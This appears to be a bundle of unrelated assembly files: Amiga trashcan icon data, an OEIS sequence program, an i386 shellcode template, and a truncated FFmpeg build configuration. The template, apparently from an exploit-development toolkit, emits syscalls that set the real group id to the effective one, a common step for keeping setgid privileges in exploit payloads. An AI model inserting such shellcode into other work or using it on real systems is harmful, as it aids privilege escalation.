dc.l 0 ; do_Gadget+gg_SpecialInfo
dc.w 0 ; do_Gadget+gg_GadgetID
dc.l 0 ; do_Gadget+gg_UserData
dc.b 5 ; do_Type = WBGARBAGE
dc.b 0 ; do_PAD_BYTE
dc.l 0 ; do_DefaultTool
dc.l 0 ; do_ToolTypes
dc.l $80000000 ; do_CurrentX = NO_ICON_POSITION
dc.l $80000000 ; do_CurrentY = NO_ICON_POSITION
DEFICON_PTR .DrawerData ; do_DrawerData
dc.l 0 ; do_ToolWindow
dc.l 0 ; do_StackSize
.DrawerData:
dc.w 0,102 ; dd_NewWindow+nw_LeftEdge/nw_TopEdge
dc.w 320,98 ; dd_NewWindow+nw_Width/nw_Height
dc.b -1,-1 ; dd_NewWindow+nw_DetailPen/nw_BlockPen
dc.l 0 ; dd_NewWindow+nw_IDCMPFlags
dc.l $0240027F ; dd_NewWindow+nw_Flags =
; WFLG_SIZEGADGET
; WFLG_DRAGBAR
; WFLG_DEPTHGADGET
; WFLG_CLOSEGADGET
; WFLG_SIZEBRIGHT
; WFLG_SIZEBBOTTOM
; WFLG_SIMPLE_REFRESH
; WFLG_REPORTMOUSE
; $00400000
; WFLG_WBENCHWINDOW
dc.l 0 ; dd_NewWindow+nw_FirstGadget
dc.l 0 ; dd_NewWindow+nw_CheckMark
dc.l 0 ; dd_NewWindow+nw_Title
dc.l 0 ; dd_NewWindow+nw_Screen
dc.l 0 ; dd_NewWindow+nw_BitMap
dc.w 90,40 ; dd_NewWindow+nw_MinWidth/nw_MinHeight
dc.w 65535,65535 ; dd_NewWindow+nw_MaxWidth/nw_MaxHeight
dc.w $0001 ; dd_NewWindow+nw_Type = WBENCHSCREEN
dc.l 0,0 ; dd_CurrentX/CurrentY
ifne DEFICON_MEM
dc.l 0 ; dd_Flags
dc.w 0 ; dd_ViewModes
endif
.GadgetRender:
dc.w 0,0 ; ig_LeftEdge/ig_TopEdge
dc.w 51,31 ; ig_Width/ig_Height
dc.w 2 ; ig_Depth
DEFICON_PTR .GadgetImage ; ig_ImageData
dc.b (1<<2)-1,0 ; ig_PlanePick/ig_PlaneOnOff
dc.l 0 ; ig_NextImage
.GadgetImage:
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0011111111100000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%1110000000111000,%0000000000000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0001111111111111,%1111111111111111,%1111111111110000,%0000000000000000
dc.w %0001111111111111,%1111111111111111,%1111111111110000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1111111110000000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1111111110000000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1111111110000000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1111111111111000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1111111111111111,%1110000000000000
dc.w %0000000111111111,%1111111111111111,%1111111111111111,%1110000000000000
dc.w %0000000000001111,%1111111111111111,%1111111111111100,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000001111111111,%1111111111110101,%0101010100000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1010101010000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000001111111111,%1111111101010101,%0101010000000000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1010101010000000,%0000000000000000
dc.w %0000001110001111,%1111110001111101,%0100001000000000,%0000000000000000
dc.w %0000001100010111,%1111100010111110,%1000100010000000,%0000000000000000
dc.w %0000001100110111,%1111100110111111,%1001000100000000,%0000000000000000
dc.w %0000001100010011,%1111100110111111,%0001000000000000,%0000000000000000
dc.w %0000000110011011,%1111100110111110,%1001000100000000,%0000000000000000
dc.w %0000000110011011,%1111100100111111,%0001001000000000,%0000000000000000
dc.w %0000000110011011,%1111100110111110,%1001000100000000,%0000000000000000
dc.w %0000000110011011,%1111100100111111,%0010001000000000,%0000000000000000
dc.w %0000000110011011,%1111100110111110,%0010010100000000,%0000000000000000
dc.w %0000000110001001,%1111100100111111,%0010001000000000,%0000000000000000
dc.w %0000000111001101,%1111100110111110,%0010010000000000,%0000000000000000
dc.w %0000000011001001,%1111100100111101,%0010101000000000,%0000000000000000
dc.w %0000000011001101,%1111100110111110,%0100010000000000,%0000000000000000
dc.w %0000000011000111,%1111100111111110,%0100101000000000,%0000000000000000
dc.w %0000000011100011,%1111111001110101,%0001010000000000,%0000000000000000
dc.w %0000000001111111,%1111111111101010,%1010100000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
.SelectRender:
dc.w 0,0 ; ig_LeftEdge/ig_TopEdge
dc.w 51,31 ; ig_Width/ig_Height
dc.w 2 ; ig_Depth
DEFICON_PTR .SelectImage ; ig_ImageData
dc.b (1<<2)-1,0 ; ig_PlanePick/ig_PlaneOnOff
dc.l 0 ; ig_NextImage
.SelectImage:
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000011,%1111111111111111,%1000000000000000,%0000000000000000
dc.w %0000000011111111,%1111111111111111,%1111111000000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0001111111111111,%1111111111111111,%1111111111110000,%0000000000000000
dc.w %0001111111111111,%1111111111111111,%1111111111110000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000000011111111,%1111111111111111,%1111111000000000,%0000000000000000
dc.w %0000000000000011,%1111111111111111,%1000000000000000,%0000000000000000
dc.w %0001111111111111,%1111111111111111,%1111111111110000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000111111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111100000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111000000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1111111110000000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1111111110000000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1111111110000000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1111111111111000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1111111111111111,%1110000000000000
dc.w %0000000111111111,%1111111111111111,%1111111111111111,%1110000000000000
dc.w %0000000000001111,%1111111111111111,%1111111111111100,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000011,%1111111111111111,%1000000000000000,%0000000000000000
dc.w %0000000011111100,%0000000000000000,%0111111000000000,%0000000000000000
dc.w %0000011100000010,%1010101010101010,%1000000111000000,%0000000000000000
dc.w %0000100001010101,%0110101010110101,%0101010000100000,%0000000000000000
dc.w %0000001010101010,%1010101010101010,%1010101111000000,%0000000000000000
dc.w %0000000011111101,%0101010101010101,%0111111000000000,%0000000000000000
dc.w %0000000000000011,%1111111111111111,%1000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000001111111111,%1111111101010101,%0101010000000000,%0000000000000000
dc.w %0000001111111111,%1111111111111111,%1010101010000000,%0000000000000000
dc.w %0000001110001111,%1111110001111101,%0100001000000000,%0000000000000000
dc.w %0000001100010111,%1111100010111110,%1000100010000000,%0000000000000000
dc.w %0000001100110111,%1111100110111111,%1001000100000000,%0000000000000000
dc.w %0000001100010011,%1111100110111111,%0001000000000000,%0000000000000000
dc.w %0000000110011011,%1111100110111110,%1001000100000000,%0000000000000000
dc.w %0000000110011011,%1111100100111111,%0001001000000000,%0000000000000000
dc.w %0000000110011011,%1111100110111110,%1001000100000000,%0000000000000000
dc.w %0000000110011011,%1111100100111111,%0010001000000000,%0000000000000000
dc.w %0000000110011011,%1111100110111110,%0010010100000000,%0000000000000000
dc.w %0000000110001001,%1111100100111111,%0010001000000000,%0000000000000000
dc.w %0000000111001101,%1111100110111110,%0010010000000000,%0000000000000000
dc.w %0000000011001001,%1111100100111101,%0010101000000000,%0000000000000000
dc.w %0000000011001101,%1111100110111110,%0100010000000000,%0000000000000000
dc.w %0000000011000111,%1111100111111110,%0100101000000000,%0000000000000000
dc.w %0000000011100011,%1111111001110101,%0001010000000000,%0000000000000000
dc.w %0000000001111111,%1111111111101010,%1010100000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
|
; A237616: a(n) = n*(n + 1)*(5*n - 4)/2.
; 0,1,18,66,160,315,546,868,1296,1845,2530,3366,4368,5551,6930,8520,10336,12393,14706,17290,20160,23331,26818,30636,34800,39325,44226,49518,55216,61335,67890,74896,82368,90321,98770,107730,117216,127243,137826,148980,160720,173061,186018,199606,213840,228735,244306,260568,277536,295225,313650,332826,352768,373491,395010,417340,440496,464493,489346,515070,541680,569191,597618,626976,657280,688545,720786,754018,788256,823515,859810,897156,935568,975061,1015650,1057350,1100176,1144143,1189266,1235560,1283040,1331721,1381618,1432746,1485120,1538755,1593666,1649868,1707376,1766205,1826370,1887886,1950768,2015031,2080690,2147760,2216256,2286193,2357586,2430450,2504800,2580651,2658018,2736916,2817360,2899365,2982946,3068118,3154896,3243295,3333330,3425016,3518368,3613401,3710130,3808570,3908736,4010643,4114306,4219740,4326960,4435981,4546818,4659486,4774000,4890375,5008626,5128768,5250816,5374785,5500690,5628546,5758368,5890171,6023970,6159780,6297616,6437493,6579426,6723430,6869520,7017711,7168018,7320456,7475040,7631785,7790706,7951818,8115136,8280675,8448450,8618476,8790768,8965341,9142210,9321390,9502896,9686743,9872946,10061520,10252480,10445841,10641618,10839826,11040480,11243595,11449186,11657268,11867856,12080965,12296610,12514806,12735568,12958911,13184850,13413400,13644576,13878393,14114866,14354010,14595840,14840371,15087618,15337596,15590320,15845805,16104066,16365118,16628976,16895655,17165170,17437536,17712768,17990881,18271890,18555810,18842656,19132443,19425186,19720900,20019600,20321301,20626018,20933766,21244560,21558415,21875346,22195368,22518496,22844745,23174130,23506666,23842368,24181251,24523330,24868620,25217136,25568893,25923906,26282190,26643760,27008631,27376818,27748336,28123200,28501425,28883026,29268018,29656416,30048235,30443490,30842196,31244368,31650021,32059170,32471830,32888016,33307743,33731026,34157880,34588320,35022361,35460018,35901306,36346240,36794835,37247106,37703068,38162736,38626125
mov $4,$0
lpb $0
sub $0,1
add $3,$4
add $2,$3
add $1,$2
add $3,6
mov $4,6
lpe
|
<%page args="gid = 'egid'"/>
<%docstring>
Args: [gid (imm/reg) = egid]
Sets the real and effective group id.
</%docstring>
% if gid == 'egid':
/* getegid */
push SYS_getegid
pop eax
int 0x80
% else:
push ${gid}
pop eax
% endif
/* setregid(eax, eax) */
mov ebx, eax
mov ecx, eax
push SYS_setregid
pop eax
int 0x80
/* eof */ |
%define ARCH_AARCH64 0
%define ARCH_ALPHA 0
%define ARCH_ARM 0
%define ARCH_AVR32 0
%define ARCH_AVR32_AP 0
%define ARCH_AVR32_UC 0
%define ARCH_BFIN 0
%define ARCH_IA64 0
%define ARCH_M68K 0
%define ARCH_MIPS 0
%define ARCH_MIPS64 0
%define ARCH_PARISC 0
%define ARCH_PPC 0
%define ARCH_PPC64 0
%define ARCH_S390 0
%define ARCH_SH4 0
%define ARCH_SPARC 0
%define ARCH_SPARC64 0
%define ARCH_TILEGX 0
%define ARCH_TILEPRO 0
%define ARCH_TOMI 0
%define ARCH_X86 1
%define ARCH_X86_32 1
%define ARCH_X86_64 0
%define HAVE_ARMV5TE 0
%define HAVE_ARMV6 0
%define HAVE_ARMV6T2 0
%define HAVE_ARMV8 0
%define HAVE_NEON 0
%define HAVE_VFP 0
%define HAVE_VFPV3 0
%define HAVE_SETEND 0
%define HAVE_ALTIVEC 0
%define HAVE_DCBZL 0
%define HAVE_LDBRX 0
%define HAVE_POWER8 0
%define HAVE_PPC4XX 0
%define HAVE_VSX 0
%define HAVE_AESNI 1
%define HAVE_AMD3DNOW 1
%define HAVE_AMD3DNOWEXT 1
%define HAVE_AVX 1
%define HAVE_AVX2 1
%define HAVE_FMA3 1
%define HAVE_FMA4 1
%define HAVE_MMX 1
%define HAVE_MMXEXT 1
%define HAVE_SSE 1
%define HAVE_SSE2 1
%define HAVE_SSE3 1
%define HAVE_SSE4 1
%define HAVE_SSE42 1
%define HAVE_SSSE3 1
%define HAVE_XOP 1
%define HAVE_CPUNOP 1
%define HAVE_I686 1
%define HAVE_MIPSFPU 0
%define HAVE_MIPS32R2 0
%define HAVE_MIPS64R2 0
%define HAVE_MIPS32R6 0
%define HAVE_MIPS64R6 0
%define HAVE_MIPSDSP 0
%define HAVE_MIPSDSPR2 0
%define HAVE_MSA 0
%define HAVE_LOONGSON2 1
%define HAVE_LOONGSON3 1
%define HAVE_MMI 0
%define HAVE_ARMV5TE_EXTERNAL 0
%define HAVE_ARMV6_EXTERNAL 0
%define HAVE_ARMV6T2_EXTERNAL 0
%define HAVE_ARMV8_EXTERNAL 0
%define HAVE_NEON_EXTERNAL 0
%define HAVE_VFP_EXTERNAL 0
%define HAVE_VFPV3_EXTERNAL 0
%define HAVE_SETEND_EXTERNAL 0
%define HAVE_ALTIVEC_EXTERNAL 0
%define HAVE_DCBZL_EXTERNAL 0
%define HAVE_LDBRX_EXTERNAL 0
%define HAVE_POWER8_EXTERNAL 0
%define HAVE_PPC4XX_EXTERNAL 0
%define HAVE_VSX_EXTERNAL 0
%define HAVE_AESNI_EXTERNAL 1
%define HAVE_AMD3DNOW_EXTERNAL 1
%define HAVE_AMD3DNOWEXT_EXTERNAL 1
%define HAVE_AVX_EXTERNAL 1
%define HAVE_AVX2_EXTERNAL 1
%define HAVE_FMA3_EXTERNAL 1
%define HAVE_FMA4_EXTERNAL 1
%define HAVE_MMX_EXTERNAL 1
%define HAVE_MMXEXT_EXTERNAL 1
%define HAVE_SSE_EXTERNAL 1
%define HAVE_SSE2_EXTERNAL 1
%define HAVE_SSE3_EXTERNAL 1
%define HAVE_SSE4_EXTERNAL 1
%define HAVE_SSE42_EXTERNAL 1
%define HAVE_SSSE3_EXTERNAL 1
%define HAVE_XOP_EXTERNAL 1
%define HAVE_CPUNOP_EXTERNAL 0
%define HAVE_I686_EXTERNAL 0
%define HAVE_MIPSFPU_EXTERNAL 0
%define HAVE_MIPS32R2_EXTERNAL 0
%define HAVE_MIPS64R2_EXTERNAL 0
%define HAVE_MIPS32R6_EXTERNAL 0
%define HAVE_MIPS64R6_EXTERNAL 0
%define HAVE_MIPSDSP_EXTERNAL 0
%define HAVE_MIPSDSPR2_EXTERNAL 0
%define HAVE_MSA_EXTERNAL 0
%define HAVE_LOONGSON2_EXTERNAL 0
%define HAVE_LOONGSON3_EXTERNAL 0
%define HAVE_MMI_EXTERNAL 0
%define HAVE_ARMV5TE_INLINE 0
%define HAVE_ARMV6_INLINE 0
%define HAVE_ARMV6T2_INLINE 0
%define HAVE_ARMV8_INLINE 0
%define HAVE_NEON_INLINE 0
%define HAVE_VFP_INLINE 0
%define HAVE_VFPV3_INLINE 0
%define HAVE_SETEND_INLINE 0
%define HAVE_ALTIVEC_INLINE 0
%define HAVE_DCBZL_INLINE 0
%define HAVE_LDBRX_INLINE 0
%define HAVE_POWER8_INLINE 0
%define HAVE_PPC4XX_INLINE 0
%define HAVE_VSX_INLINE 0
%define HAVE_AESNI_INLINE 1
%define HAVE_AMD3DNOW_INLINE 1
%define HAVE_AMD3DNOWEXT_INLINE 1
%define HAVE_AVX_INLINE 1
%define HAVE_AVX2_INLINE 1
%define HAVE_FMA3_INLINE 1
%define HAVE_FMA4_INLINE 1
%define HAVE_MMX_INLINE 1
%define HAVE_MMXEXT_INLINE 1
%define HAVE_SSE_INLINE 1
%define HAVE_SSE2_INLINE 1
%define HAVE_SSE3_INLINE 1
%define HAVE_SSE4_INLINE 1
%define HAVE_SSE42_INLINE 1
%define HAVE_SSSE3_INLINE 1
%define HAVE_XOP_INLINE 1
%define HAVE_CPUNOP_INLINE 0
%define HAVE_I686_INLINE 0
%define HAVE_MIPSFPU_INLINE 0
%define HAVE_MIPS32R2_INLINE 0
%define HAVE_MIPS64R2_INLINE 0
%define HAVE_MIPS32R6_INLINE 0
%define HAVE_MIPS64R6_INLINE 0
%define HAVE_MIPSDSP_INLINE 0
%define HAVE_MIPSDSPR2_INLINE 0
%define HAVE_MSA_INLINE 0
%define HAVE_LOONGSON2_INLINE 0
%define HAVE_LOONGSON3_INLINE 0
%define HAVE_MMI_INLINE 0
%define HAVE_ALIGNED_STACK 1
%define HAVE_FAST_64BIT 0
%define HAVE_FAST_CLZ 1
%define HAVE_FAST_CMOV 0
%define HAVE_LOCAL_ALIGNED_8 1
%define HAVE_LOCAL_ALIGNED_16 1
%define HAVE_LOCAL_ALIGNED_32 1
%define HAVE_SIMD_ALIGN_16 1
%define HAVE_ATOMICS_GCC 1
%define HAVE_ATOMICS_SUNCC 0
%define HAVE_ATOMICS_WIN32 0
%define HAVE_ATOMIC_CAS_PTR 0
%define HAVE_ATOMIC_COMPARE_EXCHANGE 1
%define HAVE_MACHINE_RW_BARRIER 0
%define HAVE_MEMORYBARRIER 0
%define HAVE_MM_EMPTY 0
%define HAVE_RDTSC 0
%define HAVE_SARESTART 1
%define HAVE_SYNC_VAL_COMPARE_AND_SWAP 1
%define HAVE_CABS 1
%define HAVE_CEXP 1
%define HAVE_INLINE_ASM 1
%define HAVE_SYMVER 0
%define HAVE_YASM 1
%define HAVE_BIGENDIAN 0
%define HAVE_FAST_UNALIGNED 1
%define HAVE_INCOMPATIBLE_LIBAV_ABI 0
%define HAVE_ALSA_ASOUNDLIB_H 0
%define HAVE_ALTIVEC_H 0
%define HAVE_ARPA_INET_H 0
%define HAVE_ASM_TYPES_H 1
%define HAVE_CDIO_PARANOIA_H 0
%define HAVE_CDIO_PARANOIA_PARANOIA_H 0
%define HAVE_DEV_BKTR_IOCTL_BT848_H 0
%define HAVE_DEV_BKTR_IOCTL_METEOR_H 0
%define HAVE_DEV_IC_BT8XX_H 0
%define HAVE_DEV_VIDEO_BKTR_IOCTL_BT848_H 0
%define HAVE_DEV_VIDEO_METEOR_IOCTL_METEOR_H 0
%define HAVE_DIRECT_H 0
%define HAVE_DIRENT_H 1
%define HAVE_DLFCN_H 1
%define HAVE_D3D11_H 0
%define HAVE_DXVA_H 0
%define HAVE_ES2_GL_H 0
%define HAVE_GSM_H 0
%define HAVE_IO_H 0
%define HAVE_MACH_MACH_TIME_H 0
%define HAVE_MACHINE_IOCTL_BT848_H 0
%define HAVE_MACHINE_IOCTL_METEOR_H 0
%define HAVE_MALLOC_H 1
%define HAVE_OPENJPEG_2_1_OPENJPEG_H 0
%define HAVE_OPENJPEG_2_0_OPENJPEG_H 0
%define HAVE_OPENJPEG_1_5_OPENJPEG_H 0
%define HAVE_OPENGL_GL3_H 0
%define HAVE_POLL_H 1
%define HAVE_SNDIO_H 0
%define HAVE_SOUNDCARD_H 0
%define HAVE_SYS_MMAN_H 1
%define HAVE_SYS_PARAM_H 1
%define HAVE_SYS_RESOURCE_H 1
%define HAVE_SYS_SELECT_H 1
%define HAVE_SYS_SOUNDCARD_H 1
%define HAVE_SYS_TIME_H 1
%define HAVE_SYS_UN_H 1
%define HAVE_SYS_VIDEOIO_H 0
%define HAVE_TERMIOS_H 1
%define HAVE_UDPLITE_H 0
%define HAVE_UNISTD_H 1
%define HAVE_VALGRIND_VALGRIND_H 0
%define HAVE_WINDOWS_H 0
%define HAVE_WINSOCK2_H 0
%define HAVE_INTRINSICS_NEON 0
%define HAVE_ATANF 1
%define HAVE_ATAN2F 1
%define HAVE_CBRT 1
%define HAVE_CBRTF 1
%define HAVE_COPYSIGN 1
%define HAVE_COSF 1
%define HAVE_ERF 1
%define HAVE_EXP2 1
%define HAVE_EXP2F 1
%define HAVE_EXPF 1
%define HAVE_HYPOT 1
%define HAVE_ISINF 1
%define HAVE_ISNAN 1
%define HAVE_LDEXPF 1
%define HAVE_LLRINT 1
%define HAVE_LLRINTF 1
%define HAVE_LOG2 1
%define HAVE_LOG2F 1
%define HAVE_LOG10F 1
%define HAVE_LRINT 1
%define HAVE_LRINTF 1
%define HAVE_POWF 1
%define HAVE_RINT 1
%define HAVE_ROUND 1
%define HAVE_ROUNDF 1
%define HAVE_SINF 1
%define HAVE_TRUNC 1
%define HAVE_TRUNCF 1
%define HAVE_ACCESS 1
%define HAVE_ALIGNED_MALLOC 0
%define HAVE_ARC4RANDOM 0
%define HAVE_CLOCK_GETTIME 1
%define HAVE_CLOSESOCKET 0
%define HAVE_COMMANDLINETOARGVW 0
%define HAVE_COTASKMEMFREE 0
%define HAVE_CRYPTGENRANDOM 0
%define HAVE_DLOPEN 1
%define HAVE_FCNTL 1
%define HAVE_FLT_LIM 1
%define HAVE_FORK 1
%define HAVE_GETADDRINFO 0
%define HAVE_GETHRTIME 0
%define HAVE_GETOPT 1
%define HAVE_GETPROCESSAFFINITYMASK 0
%define HAVE_GETPROCESSMEMORYINFO 0
%define HAVE_GETPROCESSTIMES 0
%define HAVE_GETRUSAGE 1
%define HAVE_GETSYSTEMTIMEASFILETIME 0
%define HAVE_GETTIMEOFDAY 1
%define HAVE_GLOB 1
%define HAVE_GLXGETPROCADDRESS 0
%define HAVE_GMTIME_R 1
%define HAVE_INET_ATON 0
%define HAVE_ISATTY 1
%define HAVE_JACK_PORT_GET_LATENCY_RANGE 0
%define HAVE_KBHIT 0
%define HAVE_LOCALTIME_R 1
%define HAVE_LSTAT 1
%define HAVE_LZO1X_999_COMPRESS 0
%define HAVE_MACH_ABSOLUTE_TIME 0
%define HAVE_MAPVIEWOFFILE 0
%define HAVE_MEMALIGN 1
%define HAVE_MKSTEMP 1
%define HAVE_MMAP 1
%define HAVE_MPROTECT 1
%define HAVE_NANOSLEEP 1
%define HAVE_PEEKNAMEDPIPE 0
%define HAVE_POSIX_MEMALIGN 1
%define HAVE_PTHREAD_CANCEL 1
%define HAVE_SCHED_GETAFFINITY 1
%define HAVE_SETCONSOLETEXTATTRIBUTE 0
%define HAVE_SETCONSOLECTRLHANDLER 0
%define HAVE_SETMODE 0
%define HAVE_SETRLIMIT 1
%define HAVE_SLEEP 0
%define HAVE_STRERROR_R 1
%define HAVE_SYSCONF 1
%define HAVE_SYSCTL 1
%define HAVE_USLEEP 1
%define HAVE_UTGETOSTYPEFROMSTRING 0
%define HAVE_VIRTUALALLOC 0
%define HAVE_WGLGETPROCADDRESS 0
%define HAVE_PTHREADS 1
%define HAVE_OS2THREADS 0
%define HAVE_W32THREADS 0
%define HAVE_AS_DN_DIRECTIVE 0
%define HAVE_AS_FUNC 0
%define HAVE_AS_OBJECT_ARCH 0
%define HAVE_ASM_MOD_Q 0
%define HAVE_ATTRIBUTE_MAY_ALIAS 1
%define HAVE_ATTRIBUTE_PACKED 1
%define HAVE_EBP_AVAILABLE 1
%define HAVE_EBX_AVAILABLE 0
%define HAVE_GNU_AS 0
%define HAVE_GNU_WINDRES 0
%define HAVE_IBM_ASM 0
%define HAVE_INLINE_ASM_LABELS 1
%define HAVE_INLINE_ASM_NONLOCAL_LABELS 1
%define HAVE_INLINE_ASM_DIRECT_SYMBOL_REFS 1
%define HAVE_PRAGMA_DEPRECATED 1
%define HAVE_RSYNC_CONTIMEOUT 1
%define HAVE_SYMVER_ASM_LABEL 0
%define HAVE_SYMVER_GNU_ASM 1
%define HAVE_VFP_ARGS 0
%define HAVE_XFORM_ASM 0
%define HAVE_XMM_CLOBBERS 0
%define HAVE_CONDITION_VARIABLE_PTR 0
%define HAVE_SOCKLEN_T 0
%define HAVE_STRUCT_ADDRINFO 0
%define HAVE_STRUCT_GROUP_SOURCE_REQ 0
%define HAVE_STRUCT_IP_MREQ_SOURCE 0
%define HAVE_STRUCT_IPV6_MREQ 0
%define HAVE_STRUCT_POLLFD 0
%define HAVE_STRUCT_RUSAGE_RU_MAXRSS 1
%define HAVE_STRUCT_SCTP_EVENT_SUBSCRIBE 0
%define HAVE_STRUCT_SOCKADDR_IN6 0
%define HAVE_STRUCT_SOCKADDR_SA_LEN 0
%define HAVE_STRUCT_SOCKADDR_STORAGE 0
%define HAVE_STRUCT_STAT_ST_MTIM_TV_NSEC 1
%define HAVE_STRUCT_V4L2_FRMIVALENUM_DISCRETE 1
%define HAVE_ATOMICS_NATIVE 1
%define HAVE_DOS_PATHS 0
%define HAVE_DXVA2API_COBJ 0
%define HAVE_DXVA2_LIB 0
%define HAVE_WINRT 0
%define HAVE_LIBC_MSVCRT 0
%define HAVE_LIBDC1394_1 0
%define HAVE_LIBDC1394_2 0
%define HAVE_MAKEINFO 1
%define HAVE_MAKEINFO_HTML 1
%define HAVE_PERL 1
%define HAVE_POD2MAN 1
%define HAVE_SDL 0
%define HAVE_SECTION_DATA_REL_RO 1
%define HAVE_TEXI2HTML 0
%define HAVE_THREADS 1
%define HAVE_VAAPI_X11 0
%define HAVE_VDPAU_X11 0
%define HAVE_XLIB 0
%define CONFIG_BSFS 0
%define CONFIG_DECODERS 1
%define CONFIG_ENCODERS 0
%define CONFIG_HWACCELS 0
%define CONFIG_PARSERS 1
%define CONFIG_INDEVS 0
%define CONFIG_OUTDEVS 0
%define CONFIG_FILTERS 0
%define CONFIG_DEMUXERS 1
%define CONFIG_MUXERS 0
%define CONFIG_PROTOCOLS 0
%define CONFIG_DOC 0
%define CONFIG_HTMLPAGES 0
%define CONFIG_MANPAGES 0
%define CONFIG_PODPAGES 0
%define CONFIG_TXTPAGES 0
%define CONFIG_AVIO_READING_EXAMPLE 1
%define CONFIG_AVIO_DIR_CMD_EXAMPLE 1
%define CONFIG_DECODING_ENCODING_EXAMPLE 1
%define CONFIG_DEMUXING_DECODING_EXAMPLE 1
%define CONFIG_EXTRACT_MVS_EXAMPLE 1
%define CONFIG_FILTER_AUDIO_EXAMPLE 0
%define CONFIG_FILTERING_AUDIO_EXAMPLE 0
%define CONFIG_FILTERING_VIDEO_EXAMPLE 0
%define CONFIG_METADATA_EXAMPLE 1
%define CONFIG_MUXING_EXAMPLE 0
%define CONFIG_QSVDEC_EXAMPLE 0
%define CONFIG_REMUXING_EXAMPLE 1
%define CONFIG_RESAMPLING_AUDIO_EXAMPLE 0
%define CONFIG_SCALING_VIDEO_EXAMPLE 0
%define CONFIG_TRANSCODE_AAC_EXAMPLE 0
%define CONFIG_TRANSCODING_EXAMPLE 0
%define CONFIG_AVISYNTH 0
%define CONFIG_BZLIB 0
%define CONFIG_CHROMAPRINT 0
%define CONFIG_CRYSTALHD 0
%define CONFIG_DECKLINK 0
%define CONFIG_FREI0R 0
%define CONFIG_GCRYPT 0
%define CONFIG_GMP 0
%define CONFIG_GNUTLS 0
%define CONFIG_ICONV 0
%define CONFIG_LADSPA 0
%define CONFIG_LIBAACPLUS 0
%define CONFIG_LIBASS 0
%define CONFIG_LIBBLURAY 0
